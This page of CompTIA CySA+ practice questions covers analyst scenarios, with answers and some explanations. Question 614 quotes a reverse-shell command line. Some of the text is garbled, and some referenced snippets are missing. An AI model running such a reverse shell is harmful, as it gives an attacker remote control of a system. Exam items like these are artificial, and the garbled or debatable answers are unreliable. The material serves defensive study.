CompTIA CS0-003 Online Practice Questions and Exam Preparation

CompTIA CS0-003 Online Questions & Answers

• Question 611:

  An analyst receives an alert for suspicious IIS log activity and reviews the following entries:

  2024-05-23 15:57:05 10.203.10.16 HEAT / - 80 - 10.203.10.17 DirBuster-1.0- RC1+(http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)

  Which of the following will the analyst infer from the logs?

  A. An attacker is performing network lateral movement.
  B. An attacker is conducting reconnaissance of the website.
  C. An attacker is exfiltrating data from the network.
  D. An attacker is cloning the website.
  B. An attacker is conducting reconnaissance of the website.

  ---

  Explanation

  Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

  References:

  CompTIA CySA+ Study Guide (Chapter 4: Reconnaissance Techniques) CompTIA CySA+ Objectives (Domain 1.3 Tools and Techniques)

• Question 612:

  A threat intelligence analyst is updating a document according to the MITRE ATT&CK framework. The analyst detects the following behavior from a malicious actor: "The malicious actor will attempt to achieve unauthorized access to the vulnerable system."

  In which of the following phases should the analyst include the detection?

  A. Procedures
  B. Techniques
  C. Tactics
  D. Subtechniques
  C. Tactics

• Question 613:

  Which of the following is the practice of controlling how evidence is handled to ensure its integrity during an investigation?

  A. Chain of custody
  B. Root cause analysis
  C. Incident response
  D. Evidence collection
  A. Chain of custody

• Question 614:

  A security analyst detects an exploit attempt containing the following command:

  sh -i >& /dev/udp.

  1.1.11 0>$l Which of the following is being attempted?

  A. RCE
  B. Reverse shell
  C. XSS
  D. SQL injection
  B. Reverse shell

  ---

  Explanation

  A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the " a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

  sh -i >& /dev/udp.1.1.11 0>$l

  This command is a shell script that creates a reverse shell connection from the target system to the "P address 10.1.1.1 and port 4821 using UDP protocol.

• Question 615:

  During a packet capture review, a security analyst identifies the output below as suspicious:

  

  Which of the following best describes the type of activity the analyst has identified?

  A. Ping sweep
  B. Port scan
  C. DoS attack
  D. Beaconing
  D. Beaconing

• Question 616:

  A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

  

  Which of the following best describes the activity the analyst has observed?

  A. Obfuscated links
  B. Exfiltration
  C. Unauthorized changes
  D. Beaconing
  B. Exfiltration

• Question 617:

  A cybersecurity analyst has been assigned to the threat-hunting team to create a dynamic detection strategy based on behavioral analysis and attack patterns.

  Which of the following best describes what the analyst will be creating?

  A. Bots
  B. loCs
  C. TTPs
  D. Signatures
  C. TTPs

  ---

  Explanation

  The analyst will be creating TTPs (Tactics, Techniques, and Procedures). TTPs describe the behavior, methods, and patterns used by attackers during a cyber attack. By focusing on TTPs, the analyst can develop a dynamic detection strategy that identifies malicious activities based on the observed behavior and patterns, rather than relying on static indicators like signatures or IOCs (Indicators of Compromise).

• Question 618:

  After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASB to reduce analyst alert fatigue.

  Which of the following is the best possible outcome that this effort hopes to achieve?

  A. SIEM ingestion logs are reduced by 20%.
  B. Phishing alerts drop by 20%.
  C. False positive rates drop to 20%.
  D. The MTTR decreases by 20%.
  C. False positive rates drop to 20%.

• Question 619:

  A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to https://office365password.acme.co.The site's standard VPN logon page is www.acme.com/logon.

  Which of the following is most likely true?

  A. This is a normal password change URL.
  B. The security operations center is performing a routine password audit.
  C. A new VPN gateway has been deployed.
  D. A social engineering attack is underway.
  D. A social engineering attack is underway.

  ---

  Explanation

  The scenario you describe, where outbound traffic is going to a host IP that resolves to a domain similar to "office365password.acme.co," while the standard VPN logon page is "www.acme.com/logon," suggests a potential social engineering attack. Attackers often create deceptive domains that mimic legitimate ones to trick users into revealing sensitive information such as usernames and passwords. In this case, the similarity in domain names raises suspicion that it could be an attempt to phish login credentials from employees. Security analysts should investigate and take appropriate measures to mitigate the threat.

• Question 620:

  A large company would like a security analyst to recommend a solution that will allow only company laptops to connect to the corporate network.

  Which of the following technologies should the analyst recommend?

  A. UEBA
  B. DLP
  C. NAC
  D. EDR
  C. NAC